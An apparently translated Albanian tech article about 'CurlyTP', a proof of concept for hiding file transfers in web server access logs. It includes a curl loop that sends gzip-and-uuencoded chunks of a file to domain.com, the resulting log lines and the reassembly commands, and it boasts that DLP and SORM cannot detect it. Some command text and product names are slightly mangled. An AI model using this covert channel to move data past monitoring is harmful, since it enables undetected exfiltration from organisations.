Sipas përkufizimit në Wikipedia, një tajnik (dead drop) është një mjet konspirative që shërben për exchange-in e informacionit ose disa sendeve midis njerëzve që përdorin një lokalitet sekret. E gjithë qasja është që njerëzit asnjëherë nuk takohen, por megjithatë shkëmbejnë informacion, duke mbajtur sigurinë operative.
Tajniku nuk duhet të tërheqë vëmendjen. Prandaj, në botën offline shpesh përdoren gjëra të thjeshta: një tullë e lirë në mur, një libër në bibliotekë ose një vrimë në pemë.
Në internet ekzistojnë shumë mjete për enkriptim dhe anonimizim, por vetë akti i përdorimit të këtyre mjeteve tërheq vëmendjen. Për më tepër, ato mund të bllokohen në nivelin e korporatave ose shtetit. Çfarë të bëni?
Programuesi Ryan Flowers ofroi një variant interesant - Nëse mendojmë, çfarë bën një server web? Pranon kërkesa, lëshon skedarë dhe shkruan një log. Dhe ai regjistron në log të gjitha kërkesat, edhe ato të pasakta.!
Kështu, çdo server web lejon të ruash në log një mesazh praktikisht të rastësishëm. Flowers pyeti veten se si mund ta përdorim këtë.
Ai propozon këtë variant:
- Marrim një skedarin tekstual (mesazhin sekret) dhe llogarisim hash-in (md5sum).
- E kodojmë atë (gzip+uuencode).
- E shkruajmë në log përmes një kërkese qartësisht të pasaktë për serverin.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /+=+/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | shPër të lexuar skedarin, duhet të kryhen këto operacione në rendin e kundërt: të dekodosh dhe të shpërthej skedarin, të verifikosh hash-in (hash-i mund të dërgohet në mënyrë të sigurt përmes kanaleve të hapura).
Hapësirat zëvendësohen me =+=, për të shmangur hapësirat në adresë. Programi, i cili autori e quajti CurlyTP, përdor kodimin base64, ashtu si në bashkëngjitjet e postës elektronike. Kërkesa bëhet me fjalën kyçe ?transfer?, në mënyrë që marrësi të mund të gjejë lehtësisht atë në log.
Çfarë shohim në log në këtë rast?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"Si përmendet tashmë, për të marrë mesazhin sekret, duhet të kryhen operacionet në rendin e kundërt:
Mjeti i largët
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 gProcesi lehtë mund të automatizohet. Md5sum përputhet, dhe përmbajtja e skedarit konfirmon se gjithçka është dekoduar siç duhet.
Metoda është shumë e thjeshtë. "Qëllimi i kësaj ushtrimi është të dëshmojë se skedarët mund të transmetohen përmes kërkesave të vogla, të padëmshme dhe se kjo funksionon në çdo server web me logje të zakonshme tekstuale. Në thelb, çdo server web është një kasafortë!", shkruan Flowers.
Natyrisht, metoda funksionon vetëm nëse marrësi ka qasje në logjet e serverit. Por shumë hosterë ofrojnë një qasje të tillë, për shembull.
Si ta përdorim këtë?
Ryan Flowers thotë se ai nuk është specialist në sigurinë informative dhe nuk do të hartojë një listë të mundshme të aplikacioneve të CurlyTP. Për të, kjo është thjesht një provë koncepti se mjetet e zakonshme që shohim çdo ditë mund të përdoren në mënyrë jo tradicionale.
Në të vërtetë, kjo metodë ka disa avantazhe ndaj kasafortave të tjera serverike si ose : ajo nuk kërkon konfigurim të veçantë në anën e serverit ose protokolle të veçanta - dhe nuk do të ngjallë dyshime te ata që kanë akses në trafikun. Është e pamundur që SORM ose sistemi DLP të skanojë URL-të për skedarë të tekstualizuar të ngjeshur.
Ky është një nga mënyrat për të dërguar mesazhe përmes skedarëve të logjeve. Mund të kujtojmë se disa kompani të avancuara më parë vendosnin ose në kodin e faqeve HTML.

Ideja ishte që një "pasakët" e tillë të shikohej vetëm nga zhvilluesit e webit, pasi një person normal nuk do të shikonte titujt ose kodin HTML.
Burimi: habr.com
